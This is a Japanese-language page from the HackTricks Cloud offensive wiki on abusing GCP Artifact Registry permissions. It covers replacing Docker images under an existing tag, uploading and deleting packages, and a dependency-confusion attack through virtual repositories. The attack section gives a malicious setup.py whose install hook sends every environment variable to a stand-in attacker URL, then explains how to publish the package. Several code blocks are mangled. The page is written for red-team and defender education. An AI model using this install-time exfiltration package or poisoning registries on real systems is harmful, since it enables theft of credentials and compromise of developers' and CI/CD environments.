GCP - Artifact Registry Privesc
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Artifact Registry
Artifact Registryに関する詳細は次を参照してください:
artifactregistry.repositories.uploadArtifacts
この権限があると、攻撃者はDocker imagesのような悪意のあるコードを含むアーティファクトの新しいバージョンをアップロードできます:
Artifact RegistryにDocker imageをアップロード
```bash # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-dockertag the image to upload it
docker tag
Upload it
docker push
</details>
> [!CAUTION]
> 既存のイメージと同じ名前とタグで新しい**悪意のあるdocker**イメージをアップロードできることが確認されました。そのため、**古いイメージはタグを失い**、次回そのタグでイメージをダウンロードすると**悪意のあるイメージがダウンロードされます**。
<details>
<summary>Pythonライブラリをアップロードする</summary>
**まずアップロードするライブラリを作成します**(レジストリから最新バージョンをダウンロードできる場合、この手順は省略できます):
1. **プロジェクト構成を設定する**:
- ライブラリ用の新しいディレクトリを作成します(例:`hello_world_library`)。
- このディレクトリ内に、パッケージ名のディレクトリを作成します(例:`hello_world`)。
- パッケージディレクトリ内に `__init__.py` ファイルを作成します。このファイルは空でも、パッケージの初期化を含めても構いません。
<details>
<summary>プロジェクト構成を作成</summary>
```bash
mkdir hello_world_library
cd hello_world_library
mkdir hello_world
touch hello_world/__init__.py
- ライブラリのコードを書く:
hello_worldディレクトリ内にモジュール用の新しいPythonファイルを作成します(例:greet.py)。- 「Hello, World!」関数を作成します:
ライブラリモジュールを作成
# hello_world/greet.py
def say_hello():
return "Hello, World!"
setup.pyファイルを作成する:
hello_world_libraryのルートにsetup.pyファイルを作成します。- このファイルはライブラリのメタデータを含み、Pythonにインストール方法を伝えます。
setup.py ファイルを作成
# setup.py
from setuptools import setup, find_packages
setup(
name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Any dependencies your library needs
],
)
では、ライブラリをアップロードします:
- パッケージをビルドする:
hello_world_libraryのルートから次を実行します:
Pythonパッケージをビルド
python3 setup.py sdist bdist_wheel
- twine の認証を設定する(パッケージのアップロードに使用):
twineがインストールされていることを確認します(pip install twine)。- 認証情報を設定するには
gcloudを使用します:
twine を使ってパッケージをアップロード
```sh twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://- ビルドのクリーンアップ
ビルド成果物をクリーンアップ
```bash rm -rf dist build hello_world.egg-info ```Caution
既に存在するバージョンと同じバージョンのpythonライブラリをアップロードすることはできませんが、greater versions(もしくは可能ならバージョン末尾に追加の**
.0at the endを付ける — pythonでは動作しないことがあります)、またはdelete the last version an upload a new one with**(artifactregistry.versions.delete):アーティファクトのバージョンを削除
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>
artifactregistry.repositories.downloadArtifacts
この権限があれば、download artifactsしてsensitive informationやvulnerabilitiesを検索できます。
Docker イメージをダウンロード:
Artifact Registryから**Docker**イメージをダウンロード
```sh # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-dockerDowload image
docker pull
</details>
**python** ライブラリをダウンロード:
<details>
<summary>Artifact Registry から **python** ライブラリをダウンロード</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
- リモートと標準のレジストリが仮想レジストリで混在し、同じパッケージが両方に存在する場合はどうなりますか?このページを確認してください:
GCP - Artifact Registry Persistence
artifactregistry.tags.delete, artifactregistry.versions.delete, artifactregistry.packages.delete, (artifactregistry.repositories.get, artifactregistry.tags.get, artifactregistry.tags.list)
レジストリからアーティファクト(例: Docker イメージ)を削除する:
Artifact Registry から Docker イメージを削除
```bash # Delete a docker image gcloud artifacts docker images deleteartifactregistry.repositories.delete
リポジトリ全体を削除する(コンテンツがあっても):
Artifact Registry リポジトリを削除
``` gcloud artifacts repositories deleteartifactregistry.repositories.setIamPolicy
この権限を持つ攻撃者は、前述したいくつかのリポジトリに対する攻撃を実行するための権限を自身に付与することができる。
Artifact Registry Read & Write を介した他サービスへのピボット
- Cloud Functions
Cloud Function が作成されると、新しい docker イメージがプロジェクトの Artifact Registry にプッシュされる。私はそのイメージを新しいものに置き換えたり、現在のイメージ(および cache イメージ)を削除してみたが、何も変わらず、Cloud Function は動作し続けた。したがって、バケットと同様に Race Condition attack を悪用して実行される docker コンテナを変更できる可能性がある が、保存されたイメージを単に変更するだけでは Cloud Function を侵害することはできない。
- App Engine
App Engine は Artifact Registry 内に docker イメージを作成するが、サービス内のイメージを変更して App Engine インスタンスを削除(つまり新しいインスタンスがデプロイされる)しても、実行されるコードは変わらない。
バケットと同様の Race Condition attack を行えば実行されるコードを上書きできる可能性 はあるかもしれないが、これはテストしていない。
artifactregistry.repositories.update
攻撃者がこの問題を悪用するために特定の Artifact Registry 権限は必要ない — 必要なのは脆弱な virtual-repository の構成だけである。これは、virtual repository がリモートの public repository(例: PyPI、npm)と内部リポジトリを結合しており、リモートソースの優先度が同等か高い場合に発生する。両方に同名のパッケージが存在する場合、システムは最も高いバージョンを選択する。攻撃者は内部パッケージ名を知っていて、対応する public registry にパッケージを公開できればよい。
artifactregistry.repositories.update 権限を持っていれば、攻撃者は virtual repository の upstream 設定を変更して意図的にこの脆弱な構成を作り、Dependency Confusion を永続化手段として利用し、開発者や CI/CD が自動的にインストールする可能性のある悪意のあるパッケージを挿入できる。
攻撃者は内部パッケージの悪意あるバージョンを public repository に高いバージョン番号で作成する。Python パッケージの場合、これは正規のものと類似したパッケージ構成を用意することを意味する。
mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"
その後、インストール時に実行される悪意のあるコードを含む setup.py ファイルが作成される。このファイルは private repository にあるものより高いバージョン番号を指定している必要がある。
cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse
def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)
class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()
setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF
パッケージをビルドし、wheel を削除して、インストール時にコードが実行されるようにします。
python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl
悪意のあるパッケージを公開リポジトリにアップロードする(例えば、test.pypi.org は Python 用)。
pip install twine
twine upload --repository testpypi dist/*
システムやサービスが仮想リポジトリを使ってパッケージをインストールすると、悪意のあるバージョンの方が(バージョン番号等で)高く、リモートリポジトリの優先度が等しいかそれより高いため、正当な内部リポジトリのものではなく公開リポジトリから悪意のあるバージョンをダウンロードします。
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks Cloud

